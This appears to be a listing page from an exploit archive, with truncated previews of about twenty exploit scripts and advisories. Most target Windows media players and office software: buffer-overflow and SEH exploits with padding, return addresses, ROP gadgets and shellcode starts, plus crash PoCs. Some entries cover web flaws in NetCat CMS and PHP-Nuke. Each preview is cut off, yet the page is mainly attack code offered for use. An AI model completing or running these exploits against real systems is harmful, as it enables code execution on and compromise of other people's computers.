AVS Media Player (.ac3) Denial of Service

Exploit for windows platform in category dos / poc !/usr/bin/python print """ +Exploit Title:AVS Media Player.ac3Denial of Service Exploit +Vulnerable Product:4.1.11.100 +Download Product:http://www.avs4you.com/de/downloads.aspx +All AVS4YOU Software has problems with format .ac3 +Date: 29.06.201...

MediaCoder PMP Edition 0.8.17 Buffer Overflow

print """ +Exploit Title: MediaCoder PMP Edition 0.8.17 Buffer Overflow Exploit SEH +Download link: http://www.mediacoderhq.com/device/mpx.htm +Vulnerable Product: MediaCoder Personal Media Player Edition +Date found: 21.06.2013 +Date publish: 21.06.2013 +Founder: metacom +RST +Tested on: Windows...

Aviosoft-Digital

Aviosoft 1.x Win 7 and XP SP2/SP3 English Buffer Overflow Stack Overflow ToDo: Add Remote ToDo: Test Vulnerable Targets import struct totalsize = 5000 junk = 'A' 872 align = 'B' 136 aslr, dep bypass using pushad technique seh = struct.pack' ebx rop+= struct.pack'L', 0x640203fc ADD EAX,5EC68B64 RE...

Microsoft Publisher 2007 Pubconv.dll内存破坏漏洞

CVE ID: CVE-2011-1508 Microsoft Publisher是微软公司发行的桌面出版应用软件。 Publisher 2007中存在输入验证错误，可被远程攻击者利用通过诱使用户在文档中插入特制的.pub文件执行任意代码。 通过修改.pub文件，可使pubconv.dll库复制很多文件内容到栈中，从而覆盖稍后执行的函数指针。 Microsoft Publisher 2007 12.0.6546.5000 厂商补丁： Microsoft --------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

NetCat CMS - Multiple Vulnerabilities

Exploit Title: NetCat CMS Code exec, SQL-injection Google Dork: none Date: 28.11.2010 Author: brainpillow Software Link: http://netcat.ru/ Version: UNKNOWN On different versions of this software next vulnerabilities are availible: =======================================================...

Musiccut210p Local Buffer Overflow

Exploit for windows platform in category local exploits !/usr/bin/python print " Title Exploit: Musiccut210p Local Buffer Overflow" print " Auther: Angel Injection" print " Email: 1/9/2011" print " Home Page: http://www.1337day.com http://www.sec-krb.org" filename = exploit.m3u" junk = "\x41" 860...

Wordtrainer 3.0 .ORD File Buffer Overflow Vulnerability

Exploit for php platform in category web applications !/usr/bin/python +Exploit Title: Wordtrainer V3.0 .ORD File Buffer Overflow Vulnerability +Date: 12\04\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.wordtrainer.net/software/files/wt307shwexe/wt307shw.exe +Version: 3.0 +Tested On: WIN-...

Wordtrainer 3.0 - '.ord' Local Buffer Overflow

!/usr/bin/python +Exploit Title: Wordtrainer V3.0 .ORD File Buffer Overflow Vulnerability +Date: 12\04\2011 +Author: C4SS!0 G0M3S +Software Link: http://www.wordtrainer.net/software/files/wt307shwexe/wt307shw.exe +Version: 3.0 +Tested On: WIN-XP SP3 Brazilian Portuguese +CVE: N/A from struct impo...

Media Player Classic Home Cinema 1.5.0.2827 Buffer overflow/DOS

Exploit for windows platform in category dos / poc !/usr/bin/perl +Exploit Title: Media Player Classic Home Cinema 1.5.0.2827 Buffer overflow/DOS Exploit +Software Link: majorgeeks.com/MediaPlayerClassicHomeCinemad6213.html +Software: Media Player Classic Home Cinema +Version: 1.5.0.2827 +Tested...

GOM Media Player 2.1.6.3499 Denial Of Service

!/usr/bin/perl +Exploit Title: GOM Media Player 2.1.6.3499 0day Buffer overflow/DOS Exploit +Software Link: download.cnet.com/GOM-Media-Player/3000-21394-10701768.html +Software : GOM Media Player +Version : 2.1.6.3499 +Tested On : WIN-XP SP3 + Date : 31.03.2011 + Hour : 3:37 PM Similar Bug was...

PowerShell XP 3.0.1 Buffer Overflow 0day

Exploit for windows platform in category local exploits !/usr/bin/python vuln finders : kmkz, zadyree, hellpast author : m101 site : http://binholic.blogspot.com/ Exploit Title: PowerShell XP 3.0.1 0day Date: 11/12/2010 Author: m101 Software Link:...

Quick-Player

Quick Player is prone to a buffer-overflow vulnerability. An attacker can exploit this issue to execute arbitrary code in the context of the currently logged-in user. Failed exploit attempts will likely result in denial-of-service conditions. This version affects Quick Player 2.3.x import sys...

MUSE v4.9.0.006 (.pls) Local Universal Buffer Overflow [SEH]

Exploit for windows platform in category local exploits ============================================================ MUSE v4.9.0.006 .pls Local Universal Buffer Overflow SEH ============================================================ Exploit Title: MUSE v4.9.0.006 .pls Local Universal Buffer...

MP3 Cutter 1.8 Crash Exploit

Exploit for windows platform in category dos / poc ============================ MP3 Cutter 1.8 Crash Exploit ============================ " Legion of Xtremers & Hackers Garage www.loxian.co.cc www.garage4hackers.com MP3 Cutter 1.8 Crash Exploit...

Microsoft Excel DBQueryExt record parsing vulnerability

Added: 07/08/2010 CVE: CVE-2010-1253 BID: 40531 OSVDB: 65228 Background Microsoft Excel, part of the Microsoft Office product suite, is a spreadsheet application for Windows and Macintosh platforms. Problem A vulnerability in Microsoft Excel allows command execution when a user opens a spreadshee...

PHP-Nuke 8.2 - Arbitrary File Upload

PHP-Nuke 8.2 - Arbitrary File Upload Title : PHPnuke 8.2 Remote Upload File Exploit Author : Net.Edit0r Location : Iran Dork : "POWERED BY PHPNUKE.IR" Category : Remote Email : [email protected] [email protected] Special Thanks To :NetQurd For help in finding bugs Email :[email protected]...

Microsoft Windows Movie Maker IsValidWMToolsStream buffer overflow

Added: 05/19/2010 CVE: CVE-2010-0265 BID: 38515 OSVDB: 62811 Background Windows Movie Maker is software for creating and editing home movies. Problem A buffer overflow vulnerability in the IsValidWMToolsStream function allows command execution when a user opens a specially crafted .MSWMM file...

jetAudio 8.0.0.2 Basic - '.m3u' Local Stack Overflow

!/usr/bin/perl Title: jetAudio 8.0.0.2 Basic m3u Stack Overflow Exploit Author: cr4wl3r Tested: Windows xpsp2 my $file="b00m.m3u"; my $header = "http://"; my $junk = "A" x 1017; my $nseh = "\xeb\x06\x90\x90"; my $seh = pack'V',0x01221045; my $shellcode =...

gAlan - .galan Universal Buffer Overflow

gAlan - .galan Universal Buffer Overflow !/usr/bin/python gAlan .galan file Universal Buffer Overflow Exploit Author : DzAttacker Mail : [email protected] Original : http://www.exploit-db.com/exploits/10339 win32exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.c...

VLC Media Player 1.0.2 smb:// URI Handling Remote Stack Overflow

VLC Media Player 1.0.2 smb:// URI Handling Remote Stack Overflow PoC Found By: DrIDE Tested: Windows XP SP2 , XP SP3 and Windows 7 RC1 with VLC 1.0.2 "Goldeneye" Download: http://majorgeeks.com/downloadget.php?id=4674&file=1&evp=a87d1b50269ba27878899d30ec7cd947 XPSP3 Crash """ EAX FFFFFFFE ECX...